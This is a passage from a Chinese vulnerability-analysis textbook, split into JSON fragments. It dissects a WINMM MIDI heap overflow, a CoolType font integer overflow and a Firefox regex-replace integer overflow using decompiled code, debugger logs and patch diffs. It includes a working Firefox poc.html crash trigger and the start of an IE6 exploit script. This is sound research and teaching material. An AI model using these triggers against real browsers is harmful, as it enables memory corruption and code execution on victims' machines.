128) < 0; wParama = *(_DWORD *)v2; *(_DWORD *)(v1 + 116) = v4; if ( !((unsigned __int8)(v6 ^ v7) | v5) ) return; v8 = *(_DWORD *)(v2 + 36); *(_DWORD *)(v1 + 124) = v4; *(_DWORD *)(v2 + 36) += 4; v9 = *(_DWORD *)(v2 + 0x24); v10 = *(_DWORD *)(v9 + v3); v9 += 4; v33 = v8; v32 = v10; *(_DWORD *)(v2 + 36) = v9; hmo = (HMIDIOUT)mseIDtoHMidi(v1, v10); v11 = *(_DWORD *)(v9 + wParama); *(_DWORD *)(v2 + 36) = v9 + 4; v12 = v11 >> 24; v13 = v11 & 0xFFFFFF; wParam_3 = v12; v35 = v13; if ( hmo && v12 & 0x40 ) { *(_DWORD *)(v2 + 28) = v33; DriverCallback( *(HWND *)(v1 + 68), *(_WORD *)(v1 + 74), *(_DWORD *)(v1 + 4), 0x3CAu, *(_DWORD *)(v1 + 76), v2, 0); LOBYTE(v12) = wParam_3; v13 = v35; } 110 漏洞战争：软件漏洞分析精要 v14 = v12 & 0xBF; if ( v14 ) { if ( v14 == 1 ) { v19 = *(_DWORD *)(v1 + 124); *(_DWORD *)(v1 + 48) = v13; midiOutSetClockRate(v1, v19); } else { if ( v14 == 128 ) { *(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC; v15 = 1; if ( v32 == -1 ) v15 = *(_DWORD *)(v1 + 140); v16 = *(_DWORD *)(v2 + 24); *(_DWORD *)(v1 + 136) = 0; *(_DWORD *)(v1 + 8) |= 0x20u; *(_DWORD *)(v1 + 52) = 1; if ( v15 ) { wParamb = v15; do { v17 = *(_DWORD *)(v16 + 4); *(_DWORD *)(v16 + 4) = v17 + 64; v18 = (HMIDIOUT)mseIDtoHMidi(v1, *(_DWORD *)(v17 + 32)); if ( v18 && !midiOutLongMsg(v18, (LPMIDIHDR)v17, 0x40u) ) ++*(_DWORD *)(v1 + 136); --wParamb; } while ( wParamb ); } if ( !*(_DWORD *)(v1 + 136) ) *(_DWORD *)(v1 + 52) = 0; *(_DWORD *)(v1 + 8) &= 0xFFFFFFDFu; } else { 第3章 堆溢出漏洞分析 111 if ( v14 < 0 ) *(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC; } } goto LABEL_48; } v20 = *(_DWORD *)(v1 + 0x84); if ( hmo ) break; do { LABEL_48: if ( midiOutScheduleNextEvent(v1) ) break; midiOutDequeueAndCallback(v1); } while ( *(_DWORD *)(v1 + 60) ); if ( *(_DWORD *)(v1 + 52) ) // 此处不为空则跳回上方继续循环处理 return; } v21 = v13; if ( (char)v13 < 0 ) { *(_BYTE *)(v1 + 84) = v13; wParam_3a = BYTE1(v13); v22 = (unsigned int)v13 >> 16; } else { v21 = *(_BYTE *)(v1 + 84); wParam_3a = v13; v22 = (unsigned int)v13 >> 8; v13 = v21 | (v13 << 8); } v36 = v21 & 0xF0; if ( (v21 & 0xF0) == 0x90 || (v21 & 0xF0) == 0x80 ) { v23 = wParam_3a + ((v21 & 0xF) << 7); v24 = ((signed int)v23 - HIDWORD(v23)) >> 1; if ( v36 == 0x80 || !(_BYTE)v22 ) { 112 漏洞战争：软件漏洞分析精要 v29 = v24 + v20; v30 = *(_BYTE *)(v24 + v20); if ( wParam_3a & 1 ) { if ( !(v30 & 0xF0) ) goto LABEL_46; v31 = v30 - 16; } else { if ( !(v30 & 0xF) ) goto LABEL_46; v31 = v30 - 1; // 减 1 } *(_BYTE *)v29 = v31; goto LABEL_46; } v25 = v24 + v20; v26 = *(_BYTE *)v25; // 崩溃点！ ……省略部分内容…… if ( (v27 & 0xF) != 15 ) { v28 = v26 + 1; // 加 1 goto LABEL_39; } } } 触发访问违例的正是v25地址，它主要来自v24和v20，通过上面的代码很容易发现下面两句代码： v1 = wParam; v20 = *(_DWORD *)(v1 + 0x84); 其中wParam正是漏洞函数midiOutPlayNextPolyEvent的传递参数。"},
    {"text": "为了更清楚地理解上述各变量的用途和代表的意义，我们使用条件记录断点详细记录各变量的 数值变化，通过IDA找到各变量对应的汇编指令，然后在ImmDbg调试器中按“Shfit + F4”组合键打 开条件记录断点设置窗口，如图3-14所示。"},
    {"text": "第3章 堆溢出漏洞分析 113 图3-13 变量传播图 图3-14 条件记录断点设置窗口 我们依次对变量wParam、v2、v9、v11、v13、v21进行记录，如图3-15所示，其中第一个断点是 漏洞函数midiOutPlayNextPolyEvent的入口地址，断下后才方便设置条件记录断点。 114 漏洞战争：软件漏洞分析精要 图3-15 条件记录断点列表 执行后，按“ALT + L”组合键查看日志窗口，得到如下日志信息： 76B2D070 [15:27:48] Breakpoint at WINMM.76B2D070 76B2D088 COND: v2 = 02CD8FC0 76B2D0CE COND: v9 = 00000004 76B2D0EA COND: wParam = 08159AD0 76B2D0ED COND: v11 = 000028C9 76B2D109 COND: v13 = 000028C9 76B2D22B COND: v21 = C9 76B2D088 COND: v2 = 02CD8FC0 76B2D0CE COND: v9 = 00000010 76B2D0EA COND: wParam = 08159AD0 76B2D0ED COND: v11 = 006407B9 76B2D109 COND: v13 = 006407B9 76B2D22B COND: v21 = B9 76B2D088 COND: v2 = 02CD8FC0 76B2D0CE COND: v9 = 0000001C 76B2D0EA COND: wParam = 08159AD0 76B2D0ED COND: v11 = 00400AB9 76B2D109 COND: v13 = 00400AB9 76B2D22B COND: v21 = B9 76B2D088 COND: v2 = 02CD8FC0 76B2D0CE COND: v9 = 00000028 76B2D0EA COND: wParam = 08159AD0 76B2D0ED COND: v11 = 00007BB9 76B2D109 COND: v13 = 00007BB9 76B2D22B COND: v21 = B9 76B2D088 COND: v2 = 02CD8FC0 76B2D0CE COND: v9 = 00000034 76B2D0EA COND: wParam = 08159AD0 76B2D0ED COND: v11 = 00285BB9 第3章 堆溢出漏洞分析 115 76B2D109 COND: v13 = 00285BB9 76B2D22B COND: v21 = B9 76B2D088 COND: v2 = 02CD8FC0 76B2D0CE COND: v9 = 00000040 76B2D0EA COND: wParam = 08159AD0 76B2D0ED COND: v11 = 00005DB9 76B2D109 COND: v13 = 00005DB9 76B2D22B COND: v21 = B9 76B2D088 COND: v2 = 078DEFC0 7C810856 New thread with ID 00000780 created 76B2D070 [15:28:30] Breakpoint at WINMM.76B2D070 76B2D088 COND: v2 = 078DEFC0 76B2D0CE COND: v9 = 00000004 76B2D0EA COND: wParam = 08122AD0 76B2D0ED COND: v11 = 007F2399 76B2D109 COND: v13 = 007F2399 76B2D22B COND: v21 = 99 76B2D088 COND: v2 = 078DEFC0 76B2D0CE COND: v9 = 00000010 76B2D0EA COND: wParam = 08122AD0 76B2D0ED COND: v11 = 0073B29F 76B2D109 COND: v13 = 0073B29F 76B2D22B COND: v21 = 9F 76B2D25C [15:28:34] Access violation when reading [082B3019] 观察上述数据，其中v2和wParam是不变的，而v9是逐步递增的计数器，v11与v13相等，最后的 v21是取v11的最后一个字节值。 通过前面对MIDI文件格式的分析及漏洞公告的相关信息，可以知道 触发漏洞的是0x9x或者0x8x的音轨事件。"},
    {"text": "用十六进制编辑器打开test_case.mid可以发现0x0073B29F正是文 件内容，与MID文件中的音轨事件相对应，如图3-16所示。 图3-16 音轨事件0x0073B29F 现在，我们在读取音轨事件的地址设置条件断点，也就是前面记录v11的断点地址，将其设置为 当事件为0x0073B29F时断下，然后再跟踪程序对此NoteOn(0x9x)音轨事件的处理过程。 首先，选中地址0x76B2D0ED，按“shift + F2”组合键设置条件断点，输入“[ebx+eax] == 116 漏洞战争：软件漏洞分析精要 0x0073b29f”，执行后，当音轨事件为0x0073b29f时就会断下，如图3-17所示。"},
    {"text": "76B2D258 F645 0B 01 TEST BYTE PTR SS:[EBP+B],1 76B2D25C 8A06 MOV AL,BYTE PTR DS:[ESI] ; 崩溃点！ 76B2D25E 8AD0 MOV DL,AL 76B2D260 74 0C JE SHORT WINMM.76B2D26E 76B2D262 80E2 F0 AND DL,0F0 76B2D265 80FA F0 CMP DL,0F0 76B2D268 74 2D JE SHORT WINMM.76B2D297 76B2D26A 04 10 ADD AL,10 76B2D26C EB 0A JMP SHORT WINMM.76B2D278 76B2D26E 80E2 0F AND DL,0F 76B2D271 80FA 0F CMP DL,0F 76B2D274 74 21 JE SHORT WINMM.76B2D297 76B2D276 FEC0 INC AL ; 处理 NoteOn(0x90) 事件 时，读取的字节会加 1 76B2D278 8806 MOV BYTE PTR DS:[ESI],AL 120 漏洞战争：软件漏洞分析精要 76B2D27A EB 1B JMP SHORT WINMM.76B2D297 76B2D27C F645 0B 01 TEST BYTE PTR SS:[EBP+B],1 76B2D280 8D1430 LEA EDX,DWORD PTR DS:[EAX+ESI] 76B2D283 8A02 MOV AL,BYTE PTR DS:[EDX] 76B2D285 74 08 JE SHORT WINMM.76B2D28F 76B2D287 A8 F0 TEST AL,0F0 76B2D289 74 0C JE SHORT WINMM.76B2D297 76B2D28B 2C 10 SUB AL,10 76B2D28D EB 06 JMP SHORT WINMM.76B2D295 76B2D28F A8 0F TEST AL,0F 76B2D291 74 04 JE SHORT WINMM.76B2D297 76B2D293 FEC8 DEC AL ; 处理 NoteOff(0x80) 事件 时，读取的字节会减 1 76B2D295 8802 MOV BYTE PTR DS:[EDX],AL 由上可知，漏洞正是由NoteOn事件值计算出地址偏移，然后供地址0x07B30C00进行索引，最后 导 致 访 问 违 例 的 。"},
    {"text": "图3-18 崩溃指令 在分析前面变量传播过程的时候，我们已经知道： v1 = wParam; v20 = *(_DWORD *)(v1 + 0x84); 通过IDA的交叉引用功能，发现漏洞函数midiOutPlayNextPolyEvent是被函数midiOutTimerTick 调用的，如图3-19所示。 图3-19 通过midiOutTimerTick调用漏洞函数midiOutPlayNextPolyEvent 通过IDA的F5功能反编译midiOutTimerTick函数，如图3-20所示。 第3章 堆溢出漏洞分析 121 图3-20 midiOutTimerTick函数的伪C代码 由此可知： wParam = gpEmuList; 所以， v20 = *(_DWORD *)( gpEmuList + 0x84); 而gpEmuList主要来自函数mseOpen的赋值，如图3-21所示。 图3-21 mseOpen函数使用到gpEmuList 继续对mseOpen函数进行F5反编译，得到以下关键代码： v5 = winmmAlloc(v4); v6 = 0; if ( v5 ) { v7 = winmmAlloc(0x400u); *(_DWORD *)(v5 + 0x84) = v7; …… gpEmuList = v5; 122 漏洞战争：软件漏洞分析精要 现在的情况已经很明朗了，我们可以做个简单的替换运算： ESI = v20 = *(_DWORD *)( gpEmuList + 0x84); = *(_DWORD *)( v5 + 0x84); = v7 = winmmAlloc(0x400u); 因此，此处允许的最大堆块大小为0x400，而NoteOn音轨事件计算得到的偏移量为0x419，大于 0x400，结果导致堆块的越界访问。 但此处之所以将其归为堆溢出，而非数组越界索引，是因为它是 向固定堆块大小之外的地方执行写操作，而且不存在索引数组的动作，这与堆溢出类似，所以将该 漏洞定性为堆溢出也算合理。 3.5.6 漏洞利用 对于CVE-2012-0003漏洞的利用，VUPEN安全组织给出了一种相当经典的Exploit技术，在只 能控制1字节的情况下，依然能够巧妙地实例稳定利用，其官方博客上的 Advanced Exploitation of Internet Explorer Heap Overflow Vulnerabilities (MS12-004) 一文就有详细介绍：http://www.vupen.com/ blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012- 0003.php。"},
    {"text": "我们先来看下针对IE6的关键 利用代码（可利用Metasploit生成Exploit）： var selob = document.createElement(\"select\") selob.w0 = alert selob.w1 = unescape(\"%u0c0c %u0c0c\") selob.w2 = alert selob.w3 = alert selob.w4 = alert selob.w5 = alert selob.w6 = alert selob.w7 = alert selob.w8 = alert selob.w9 = alert selob.w10 = alert selob.w11 = alert selob.w12 = alert selob.w13 = alert"},
    {"text": "图4-31 触发漏洞的虚拟指令 为了更直观地分析PoC中生成0x40000001的虚拟指令，笔者根据图4-31与前面条件日志记录的信 息构造出如表4-5所示的虚拟指令执行记录，这里是取decomp_stream_0x281.ttf中后半部分的虚拟指 令，由于下列指令包含循环操作，数据是变动的，所以备注信息以崩溃前执行的一段数据作为参考， 以帮助读者理解。 第4章 整数溢出漏洞分析 195 表4-5 虚拟指令执行记录 操作码（HEX） 虚拟指令 备注 41 06 41 41 41 41 41 41 NPUSHW 分别将 0x4141、0x4141、0x4141、0x0003、 00 03 00 00 00 40 0x0000、0x0040 压入栈中 42 WS 将 0x40 存储到临时存储空间 41 02 7F FF 7F FF NPUSHW 将 0x7FFF 与 0x7FFF 入栈 63 MUL (0x7FFF * 0x7FFF)/0x40= 0xFFFC00 60 ADD 0x3DFF0803 + 0xFFFC00 = 3EFF0403，循环 递增 0xFFFC00 41 04 FF E8 00 00 00 00 00 00 NPUSHW 分别将 0xFFE8、0x0000、0x0000、0x0000 压入栈中 43 RS 以 0 作为存储索引，从临时存储空间 store 读取数据 2 并压入栈顶 B0 01 PUSHB 将 01 压入栈中 61 SUB 2-1=1 42 WS 存储数据，会弹出 2 个栈顶数据 43 RS 读取数据，并将 1 压入栈中 78 JROT 跳转到上面第 3 条指令进行循环操作 41 02 7F FF 7F FF NPUSHW 将 0x7FFF 与 0x7FFF 入栈 63 MUL (0x7FFF * 0x7FFF)/0x40= 0xFFFC00 60 ADD 0x3FFF403 + 0xFFFC00 = 0x3FFF0003 41 04 FF E8 00 00 00 00 00 00 NPUSHW 分别将 0xFFE8、0x0000、0x0000、0x0000 压入栈中 43 RS 读取数据，将 1 压入栈中 B0 01 PUSHB 将 01 压入栈中 61 SUB 1-1 = 0 42 WS 写数据到临时存储空间，弹出 2 个栈顶数据 43 RS 读取数据，虚拟栈不变 78 JROT 此处会跳转到下一条指令 41 02 7F FF 7F FF NPUSHW 将 0x7FFF 与 0x7FFF 入栈 60 ADD 0x7FFF + 0x7FFF = 0xFFFE 60 ADD 0x3FFF0003 + 0xFFFE = 0x40000001 总结，上面的虚拟指令会从0不断递增0xFFFC00直至0x3FFF0003（如图4-32所示），最后再执 行加法操作0x3FFF0003 + 0x7FFF + 0x7FFF = 0x40000001，整个过程均由虚拟指令完成。"},
    {"text": "196 漏洞战争：软件漏洞分析精要 图4-32 条件记录断点的输出日志 4.4.4 补丁分析 此处，通过BinDiff进行补丁比较是行不通的，因为漏洞版本中的漏洞函数与补丁中的修复函数在 BinDiff里面无法相互匹配，自然也就无法进行比较。"},
    {"text": "这里笔者提供另一种方法，先定位虚拟指令处理 函数数组，再通过偏移0x26*4找到MINDEX虚拟指令处理函数。 用IDA加载修复后的CoolType.dll，定 位到函数数组后，得到MINDEX对应处理函数为0x08259ed0 + 0x26*4 = 0x08259F68 ，该函数主要对虚 拟栈上的数据差值和0xFFFFFFFC相与运算后的值进行检测，以防止整数溢出，如图4-33所示。"},
    {"text": "图4-33 补丁代码 第4章 整数溢出漏洞分析 197 4.5 CVE-2013-0750 Firefox字符串替换整数溢出漏洞 4.5.1 漏洞描述 在版本号18.0之前（不包括18.0）的Firefox浏览器中，JavaScript引擎在解析字符串替换操作时存 在整数溢出，导致分配过小的堆内存造成溢出，允许攻击构建恶意网页，诱使用户打开触发漏洞， 造成远程任意代码执行。"},
    {"text": "表4-6 测试环境 推荐使用的环境 备注 操作系统 Windows 7 实体机 简体中文旗舰版 浏览器 Firefox 版本号：17.0 调试器 WinDbg 版本号：6.11.0001.404 反汇编器 IDA Pro 版本号：6.1 Firefox是一款开源浏览器，其官方也专门提供符号表供开发者调试，我们在分析漏洞时也可在 WinDbg指定符号表服务器地址，选择“File”→“Symbol File Path …”选项打开符号表文件路径设 置框，在里面加入内容，如图4-34所示。 SRV*d:\\symbollocal\\*http://symbols.mozilla.org/firefox 图4-34 设置符号文件路径 为了实现源码分析，我们需要下载Firefox源码，笔者调试的是Firefox 17.0，因此下载其对应的 源 码 压 缩 包 ： http://releases.mozilla.org/pub/mozilla.org/firefox/releases/17.0/source/firefox-17.0.source. tar.bz2，下载完成后不要使用WinRAR或者360压缩打开，因为它们会解压不完整，建议使用7-zip工 198 漏洞战争：软件漏洞分析精要 具。 接下来，在WinDbg上设置源码目录，单击“File”→“Source File Path…”选项，打开设置框， 选择前面源码解压后mozilla-release文件夹所在的目录，如图4-35所示。 图4-35 设置源码路径 然后，我们按以往用WinDbg调试进程的方法加载Firefox.exe，运行后，打开poc.html文件，其文 件内容如下： <html> <script type=\"text/javascript\"> function puff(x, n){ while(x.length<n) x+=x; x = x.substring(0, n); return x; } var x = \"1\"; var rep = \"$1\"; x = puff(x, 1<<20); rep = puff(rep, 1<<16); y = x.replace(/(.+)/g, rep); alert(y.length); </script> </html> 打开后程序被断下，其对应的源码位置也会显示出来（位于DoReplace函数，真正的异常指令是 在DoReplace函数里面，由于符号表无法识别出该函数，所以源码是直接显示在调用DoReplace的代 码行，这可能是因为编写本章时Firefox的最新版已将该函数移除，导致符号缺失），如图4-36所示。"},
    {"text": "第4章 整数溢出漏洞分析 199 图4-36 使用WinDbg对Firefox源码进行调试 为方便读者查看，这里将调试器的异常信息输出： (cdc.fbc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=1a604418 ebx=002cbbd8 ecx=002d0000 edx=1a800000 esi=002cbb80 edi=04a00031 eip=5dc72aa3 esp=002cba68 ebp=002cbaa0 iopl=0 nv up ei ng nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210287 *** WARNING: Unable to verify checksum for D:\\Program Files\\Mozilla Firefox\\mozjs.dll mozjs!ReplaceRegExpCallback+0x183: 5dc72aa3 668939 mov word ptr [ecx],di ds:0023:002d0000=0000 0:000> kv ChildEBP RetAddr Args to Child 002cbaa0 5dcb9af8 0fba9b30 0a5fd780 00000000 mozjs!ReplaceRegExpCallback+0x183 (FPO: [Non-Fpo]) (CONV: cdecl) 002cbad0 5dcba333 00000001 0a5b9f70 5dc72920 mozjs!DoMatch+0xc8 (FPO: [6,5,0]) (CONV: cdecl) 002cbb0c 5dc651e1 002cbb80 04c40078 00000002 mozjs!str_replace_regexp+0x83 (FPO: [3,4,0]) (CONV: cdecl) 002cbc2c 00310031 00310031 00310031 00310031 mozjs!js::str_replace+0x261 (FPO: [Non-Fpo]) 200 漏洞战争：软件漏洞分析精要 (CONV: cdecl) WARNING: Frame IP not in any known module. Following frames may be wrong. 002cbc3c 00310031 00310031 00310031 00310031 0x310031 002cbc40 00310031 00310031 00310031 00310031 0x310031 002cbc44 00310031 00310031 00310031 00310031 0x310031 002cbc48 00310031 00310031 00310031 00310031 0x310031 002cbc4c 00310031 00310031 00310031 00310031 0x310031 002cbc50 00310031 00310031 00310031 00310031 0x310031 002cbc54 00310031 00310031 00310031 00310031 0x310031 002cbc58 00310031 00310031 00310031 00310031 0x310031 002cbc5c 00310031 00310031 00310031 00310031 0x310031 002cbc60 00310031 00310031 00310031 00310031 0x310031 002cbc64 00310031 00310031 00310031 00310031 0x310031 002cbc68 00310031 00310031 00310031 00310031 0x310031 002cbc6c 00310031 00310031 00310031 00310031 0x310031 002cbc70 00310031 00310031 00310031 00310031 0x310031 002cbc74 00310031 00310031 00310031 00310031 0x310031 002cbc78 00310031 00310031 00310031 00310031 0x310031 对应的源码 位于 mozilla-realease\\js\\src\\jsstr.cpp中的ReplaceRegExpCallback函数，该函数执行 DoReplace(cx, res, rdata) 时导致程序崩溃： static bool ReplaceRegExpCallback(JSContext *cx, RegExpStatics *res, size_t count, void *p) { ReplaceData &rdata = *static_cast<ReplaceData *>(p); rdata.calledBack = true; size_t leftoff = rdata.leftIndex; size_t leftlen = res->matchStart() - leftoff; rdata.leftIndex = res->matchLimit(); size_t replen = 0; /* silence 'unused' warning */ if (!FindReplaceLength(cx, res, rdata, &replen)) return false; size_t growth = leftlen + replen; if (!rdata.sb.reserve(rdata.sb.length() + growth)) return false; JSLinearString &str = rdata.str->asLinear(); /* flattened for regexp */ const jschar *left = str.chars() + leftoff; 第4章 整数溢出漏洞分析 201 rdata.sb.infallibleAppend(left, leftlen); /* skipped-over portion of the search value */ DoReplace(cx, res, rdata); // 异常访问 return true; } 由于缺乏相应版本的符号表，在源码调试中我们无法直接定位到异常指令对应的是DoReplace的 哪一条代码。 从WinDbg上设置的符号表服务器地址下载到符号表中的一般都是最新的Firefox版本， 关于漏洞的代码可能已经删除或修复了，所以在源码调试时可能会失去对特定函数、变量的识别能 力。"},
    {"text": "（2） Firefox 17.0 源码，下载地址：http://releases.mozilla.org/pub/mozilla.org/firefox/releases/17.0/source/ firefox-17.0.source.tar.bz2。 （3） MozillaBuildSetup v1.7，最好选用与 Firefox 源码发布时间相近的版本，否则编译时容易出错， 下载地址：http://ftp.mozilla.org/pub/mozilla.org/mozilla/libraries/win32/MozillaBuildSetup-1.7.exe。"},
    {"text": "首先，我们需要设置mozconfig文件，将它从firefox-17.0.source\\mozilla-release\\xulrunner\\config目 录复制到MozillaBuildSetup的安装目录Mozilla-build下面，然后打开设置选项内容，以下是笔者使用 的配置选项，其中必须enable-debug，否则无法进行源码调试： ac_add_options --enable-application=browser ac_add_options --enable-debug ac_add_options --enable-tests ac_add_options –trace-malloc ac_add_options --disable-webgl 然后，打开MozillaBuildSetup安装目录下的start-msvc10.bat来启动VS2010命令行编译环境，然后 进入源码目录，输入编译命令：make –f client.mk build，整个编译过程可能需要1~2个小时，如图4-37 所示。 编译完成后，会在mozilla-build\\firefox-17.0.source\\mozilla-release\\obj-i686-pc-mingw32\\dist\\bin下 生成firefox.exe，运行后会打开命令窗口和浏览器进程，浏览器名称叫作Nightly，而非Firefox，如 图4-38所示。"},
    {"text": "202 漏洞战争：软件漏洞分析精要 图4-37 编译Firefox源码 图4-38 Nightly浏览器 第4章 整数溢出漏洞分析 203 用WinDbg加载Firefox进程（注意设置正确的源码路径），并打开poc.html运行，断在如下地址： 0:040> g [JavaScript Warning: \"ReferenceError: assignment to undeclared variable id\" {file: \"chrome://livemargins/content/overlay.js\" line: 225}] (1e1c.dec): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=76f7510b ecx=b78e283d edx=58d6e4d8 esi=0017c630 edi=58c71440 eip=586cabfe esp=0017c4d4 ebp=0017c4e0 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200216 mozjs!js::Vector<wchar_t,32,js::ContextAllocPolicy>::internalAppend<wchar_t>+0x4e: 586cabfe cc int 3 0:000> kv ChildEBP RetAddr Args to Child 0017c4e0 588512fc 18040040 00100000 00000000 mozjs!js::Vector<wchar_t,32,js::ContextAllocPolicy>::internalAppend<wchar_t>+0x4e (FPO: [Non-Fpo]) (CONV: thiscall) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\obj-i686-pc-mingw32\\dist\\include\\ js\\vector.h @ 876] 0017c510 5885674d 0cd62d38 0017c5d0 0cd62d38 mozjs!DoReplace +0x6c (FPO: [Non-Fpo]) (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\ jsstr.cpp @ 2068] 0017c530 5884e7d5 0d6d8fb8 0cd62d38 00000000 mozjs!ReplaceRegExpCallback +0x8d (FPO: [Non-Fpo]) (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\jsstr.cpp @ 2099] 0017c564 58858b22 0d6d8fb8 0cd62d38 0d802bc0 mozjs!DoMatch+0xc5 (FPO: [Non-Fpo]) (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\jsstr.cpp @ 1694] 0017c5a0 58858ea1 0522da00 07060078 00000002 mozjs!str_replace_regexp+0x92 (FPO: [Non-Fpo]) (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\jsstr.cpp @ 2278] 0017c694 5878f59b 0d6d8fb8 00000002 07060068 mozjs!js::str_replace+0x2b1 (FPO: [Non-Fpo]) (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\jsstr.cpp @ 2464] 0017c6cc 58795e5e 006d8fb8 58657b2b 0017c738 mozjs!js::CallJSNative+0x5b (FPO: [Non-Fpo]) (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\jscntxtinlines.h @ 372] 0017c72c 5879ca3f 0d6d8fb8 13cb8b00 07060078 mozjs!js::InvokeKernel+0x33e (FPO: [Non-Fpo]) (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\jsinterp.cpp @ 352] 0017cba8 587959d2 0d6d8fb8 07060020 00000000 mozjs!js::Interpret+0x2b6f (FPO: [Non-Fpo]) (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\jsinterp.cpp @ 2414] 0017cbec 58799270 0d6d8fb8 079480b0 07060000 mozjs!js::RunScript+0x462 (FPO: [Non-Fpo]) 204 漏洞战争：软件漏洞分析精要 (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\jsinterp.cpp @ 309] 0017cc2c 58799539 0d6d8fb8 0017cc94 0793b040 mozjs!js::ExecuteKernel+0x320 (FPO: [Non-Fpo]) (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\jsinterp.cpp @ 494] 0017cc6c 586af4d5 0d6d8fb8 0017cc94 0793b040 mozjs!js::Execute+0x199 (FPO: [Non-Fpo]) (CONV: cdecl) [i:\\mozilla-build\\firefox-17.0.source\\mozilla-release\\js\\src\\jsinterp.cpp @ 532] ……省略部分内容…… 0:000> g (1e1c.dec): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=76f7510b ecx=b78e283d edx=58d6e4d8 esi=0017c630 edi=58c71440 eip=586cac01 esp=0017c4d0 ebp=0017c4e0 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210216 mozjs!js::Vector<wchar_t,32,js::ContextAllocPolicy>::internalAppend<wchar_t>+0x51: 586cac01 c705000000007b000000 mov dword ptr ds:[0],7Bh ds:0023:00000000=???????? 断下后，在WinDbg上可以看到对应的源码，以及涉及的相关变量值，如图4-39所示。 图4-39 通过源码调试实时查看变量值 第4章 整数溢出漏洞分析 205 源码断在vector.h头文件中，它是在调用mozjs!DoReplace函数触发，根据前面栈回溯的信息知道 是jsstr.cpp的第2067行（栈回溯中的2068行显示了返回后将执行的下一行代码）代码触发漏洞的，即 调用rdata.sb.infallibleAppend函数时触发，如图4-40所示。"},
    {"text": "图4-40 触发崩溃的Firefox源码 在我们编译源码前，程序是断在mozjs!ReplaceRegExpCallback函数里面的，也就是说，DoReplace 函数在新版Firefox中已经被删除，修复的代码是在mozjs!ReplaceRegExpCallback函数中完成的。 重新用WinDbg加载Firefox进程，并在mozjs!ReplaceRegExpCallback函数下断点，单步源码调试 下去，中间可能会被断下多次，只分析打开poc.html之后断下的那次，也可在Firefox打开文件窗口（File →open file）时，再对其进行下断，以防止被多次断下。"},
    {"text": "断下后，首先执行以下源码： static bool ReplaceRegExpCallback(JSContext *cx, RegExpStatics *res, size_t count, void *p) { ReplaceData &rdata = *static_cast<ReplaceData *>(p); rdata.calledBack = true; size_t leftoff = rdata.leftIndex; // 执行后 leftoff=0，在 Locals 窗口可查看变量值 size_t leftlen = res->matchStart() - leftoff; // 执行后 leftlen=0x23cb40 rdata.leftIndex = res->matchLimit(); size_t replen = 0; /* silence 'unused' warning */ if (!FindReplaceLength(cx, res, rdata, &replen)) // 跟进 FindReplaceLength 函数 return false; FindReplaceLength函数主要跳转到最后一段代码： static bool FindReplaceLength(JSContext *cx, RegExpStatics *res, ReplaceData &rdata, size_t *sizep) 206 漏洞战争：软件漏洞分析精要 { ……省略部分内容…… JSString *repstr = rdata.repstr; size_t replen = repstr->length(); // replen 为无符号整数 for (const jschar *dp = rdata.dollar, *ep = rdata.dollarEnd; dp; dp = js_strchr_limit(dp, '$', ep)) { // 循环递增 replen 和 dp，以获取替换字符串的长度 JSSubString sub; size_t skip; if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) { replen += sub.length - skip; //首次执行时 sub.length=0x100000，skip=2，每次 replen 递增 0xFFFFE，通过设置条件记录断点输出 repeln 递增时值的变化，可以发现最后 replen 整数溢出反而得到 更小的值 0。 dp += skip; } else { dp++; } } *sizep = replen; // 循环结束后 replen=0，即整数溢出后的值 return true; } 通过设置条件记录断点记录replen的递增变化，输出结果如图4-41所示。 bu 55ea6514 \".if(1){.echo 'replen = ';dd ebx l1;gc}\" 图4-41 通过设置条件记录断点来记录replen的递增变化 第4章 整数溢出漏洞分析 207 FindReplaceLength执行完成后返回到mozjs!ReplaceRegExpCallback函数继续执行： size_t growth = leftlen + replen; //因整数溢出导致 growth 变小 if (!rdata.sb.reserve(rdata.sb.length() + growth)) //跟进，调试时发现传递给 reserve 的参 数值为 0，该函数会分配堆块以预留出字符串替换所需的空间，由于 replen 整数溢出，导致分配的堆块过小。 return false; 最后，在调用DoReplace函数进行字符串替换时，因预留空间不足导致堆溢出，最后程序崩溃。 4.5.3 源码比对 前面已经分析清楚是jsstr.cpp中的replen变量整数溢出导致的漏洞，我们可以下载漏洞修复前后 的两份jsstr.cpp源码比对，笔者使用TextDiff作为源码比较工具。"},
    {"text": "如图4-42所示，replen变量类型从size_t类型变成CheckedInt<uint32_t>，该类定义在CheckedInt.h 头文件中，以判断当前整数值是否在有效取值范围内，并提供isValid方法获取检测结果。"},
